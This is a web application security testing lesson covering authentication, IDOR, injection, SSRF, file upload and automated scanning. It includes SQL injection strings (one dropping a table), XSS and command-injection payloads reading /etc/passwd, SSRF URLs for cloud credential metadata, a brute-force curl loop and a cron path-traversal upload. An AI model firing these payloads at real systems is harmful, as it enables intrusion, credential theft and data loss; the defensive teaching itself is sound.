JustAppSec

Web Application Testing

Hands-on techniques for finding vulnerabilities in web applications.

0:00

Testing your own application for vulnerabilities before someone else does is one of the most practical security skills a developer can have. This lesson covers hands-on techniques for finding common web application vulnerabilities using tools you already have or can set up in minutes.

Setting up your testing environment

What you need

ToolPurposeSetup
Browser DevToolsInspect requests, responses, cookies, JavaScriptBuilt into Chrome/Firefox
Burp Suite CommunityIntercept and modify HTTP requestsFree download from PortSwigger
OWASP ZAPAutomated scanning + manual testing proxyFree, open source
curl / httpieCraft HTTP requests from the command lineUsually pre-installed

You do not need all of these to start. Browser DevTools and curl are enough for most manual testing.

Important rules

  • Only test applications you own or have explicit written permission to test.
  • Test against a staging or local environment, not production (unless you have a specific reason and approval).
  • Keep notes of everything you find, including the steps to reproduce.

Authentication testing

Default and weak credentials

Try default credentials on login forms, admin panels, and API endpoints:

admin / admin
admin / password
admin / <application_name>
test / test
root / root

Check if the application ships with default accounts that were not removed.

Username enumeration

Submit a valid username with a wrong password, then an invalid username:

POST /api/auth/login
{"username": "real_user", "password": "wrong"}
→ 401 "Invalid password"

POST /api/auth/login
{"username": "nonexistent", "password": "wrong"}
→ 401 "User not found"

If the error messages differ, attackers can enumerate valid usernames. The response should be identical for both cases:

→ 401 "Invalid username or password"

Also check for timing differences — some applications take longer to respond when the user exists (because they hash and compare the password) versus when they do not.

Brute force protection

Send 50 failed login attempts to the same account:

  1. Does the account get locked? After how many attempts?
  2. Does rate limiting kick in? Is it per-IP, per-account, or both?
  3. Can you bypass rate limiting by changing headers (X-Forwarded-For)?
# Quick brute force test with curl
for i in $(seq 1 50); do
  curl -s -o /dev/null -w "%{http_code}\n" \
    -X POST https://staging.example.com/api/auth/login \
    -H "Content-Type: application/json" \
    -d '{"username":"admin","password":"attempt_'$i'"}'
done

If all 50 return 401 with no rate limiting or lockout, that is a finding.

Session management

After logging in, inspect the session:

1. Is the session token in a cookie or localStorage?
2. Cookie flags: HttpOnly? Secure? SameSite?
3. Does the session token change after login? (Session fixation check)
4. How long until the session expires?
5. Does logging out actually invalidate the session on the server?

Test logout invalidation:

# Save the session token
TOKEN="eyJhbG..."

# Log out
curl -X POST https://staging.example.com/api/auth/logout \
  -H "Authorization: Bearer $TOKEN"

# Try using the old token
curl https://staging.example.com/api/profile \
  -H "Authorization: Bearer $TOKEN"
# Should return 401, not 200

Authorisation testing

Insecure Direct Object References (IDOR)

The most common authorisation vulnerability. Log in as User A and try to access User B's resources:

# Your order
GET /api/orders/1001  → 200 OK (your order)

# Someone else's order
GET /api/orders/1002  → 200 OK (not your order!) ← VULNERABILITY

Test this for every endpoint that takes an ID:

  • /api/users/{id}
  • /api/orders/{id}
  • /api/documents/{id}
  • /api/invoices/{id}

Vertical privilege escalation

As a regular user, try accessing admin endpoints:

# As a regular user
curl https://staging.example.com/api/admin/users \
  -H "Authorization: Bearer $USER_TOKEN"
# Should return 403, not 200

Function-level access control

Some endpoints check authentication but not authorisation:

# User can view their own profile
GET /api/users/me/profile → 200 OK

# Can they update someone else's profile?
PUT /api/users/other_user_id/profile
{"role": "admin"}
# Should return 403

Parameter manipulation

Modify request bodies to include fields that should not be user-controllable:

// Normal profile update
PUT /api/users/me
{"name": "Alice", "bio": "Developer"}

// Attacker adds extra fields
PUT /api/users/me
{"name": "Alice", "bio": "Developer", "role": "admin", "isVerified": true}

If the server blindly accepts all fields and writes them to the database, that is a mass assignment vulnerability.

Injection testing

SQL injection

Test any input that might be used in a database query:

# In search fields, login forms, URL parameters
' OR '1'='1
' UNION SELECT null,null,null--
' AND 1=CONVERT(int,(SELECT TOP 1 table_name FROM information_schema.tables))--

# In URL parameters
/api/products?category=electronics' OR '1'='1
/api/users?sort=name;DROP TABLE users--

Signs of SQL injection:

  • Different response when adding ' OR '1'='1 (returns all results instead of filtered)
  • Database error in the response (e.g., "You have an error in your SQL syntax")
  • Time-based: adding ' AND SLEEP(5)-- causes a 5-second delay

Cross-site scripting (XSS)

Inject script payloads into any field that is reflected back or stored:

<!-- Simple test -->
<script>alert('XSS')</script>

<!-- If angle brackets are filtered -->
" onmouseover="alert('XSS')
' onfocus='alert(1)' autofocus='

<!-- In URL parameters -->
/search?q=<img src=x onerror=alert(1)>

<!-- In markdown/rich text fields -->
[link](javascript:alert(1))
![img](x" onerror="alert(1))

Command injection

Test fields that might be passed to system commands (file converters, PDF generators, URL fetchers):

; ls -la
| cat /etc/passwd
`whoami`
$(id)

Server-side request forgery (SSRF)

Test any URL input field (webhooks, image URLs, import URLs):

# Access internal metadata
http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Access internal services
http://localhost:8080/admin
http://internal-service.local/api/secrets

# DNS rebinding
http://attacker-controlled-domain.com  (resolves to 127.0.0.1)

File upload testing

If the application accepts file uploads:

1. Upload a .php/.jsp/.aspx file — does it get executed?
2. Upload a file with double extension: malicious.php.jpg
3. Upload a file with a manipulated Content-Type header
4. Upload an oversized file — is there a size limit?
5. Upload a file with path traversal in the filename: ../../etc/evil.txt
6. Upload an SVG with embedded JavaScript
# Upload a file with a manipulated name
curl -X POST https://staging.example.com/api/upload \
  -F "[email protected];filename=../../etc/cron.d/evil" \
  -H "Authorization: Bearer $TOKEN"

Automated scanning

OWASP ZAP baseline scan

# Run ZAP in Docker against your staging environment
docker run -t zaproxy/zap-stable zap-baseline.py \
  -t https://staging.example.com \
  -r report.html

The baseline scan spiders the application, passively analyses responses, and reports common issues. It does not perform active attacks (no injection testing). For active scanning:

docker run -t zaproxy/zap-stable zap-full-scan.py \
  -t https://staging.example.com \
  -r report.html

Nuclei

Nuclei runs community-maintained templates for thousands of known vulnerabilities:

# Scan for common web vulnerabilities
nuclei -u https://staging.example.com -t http/ -severity medium,high,critical

# Scan for specific issues
nuclei -u https://staging.example.com -t http/misconfiguration/

Reporting findings

For every vulnerability you find, document:

## Finding: IDOR in Orders API

**Severity:** High
**Endpoint:** GET /api/orders/{id}
**Description:** Any authenticated user can access any order by changing the order ID.

**Steps to reproduce:**
1. Log in as user A (user_id: 101)
2. Create an order → order ID 5001
3. Log in as user B (user_id: 102)
4. Request GET /api/orders/5001 with user B's token
5. User B receives user A's full order details

**Impact:** Any authenticated user can view all order details including
shipping address, payment method, and purchase history of any other user.

**Recommendation:** Add an ownership check:
```sql
SELECT * FROM orders WHERE id = $1 AND user_id = $2

## Testing methodology

A structured approach ensures you do not miss things:

1. **Map the application** — visit every page, note every endpoint, every form, every parameter
2. **Test authentication** — default creds, enumeration, brute force, session management
3. **Test authorisation** — IDOR, vertical escalation, function-level access
4. **Test injection** — SQLi, XSS, command injection, SSRF on every input
5. **Test file upload** — type, size, name, content validation
6. **Test business logic** — race conditions, price manipulation, step skipping
7. **Run automated scans** — ZAP, Nuclei for known issues
8. **Review findings** — deduplicate, prioritise, document

## Summary

Web application testing starts with understanding the application's attack surface — every endpoint, parameter, and input. Test authentication (brute force, session handling), authorisation (IDOR, privilege escalation), injection (SQLi, XSS, SSRF), and file uploads systematically. Use browser DevTools and curl for manual testing, and ZAP or Nuclei for automated scanning. Document every finding with reproduction steps, impact, and a recommended fix. The goal is finding and fixing issues before attackers do.

This training content is AI-assisted and reviewed by our team, but issues may be missed and best practices evolve rapidly. Send corrections to [email protected].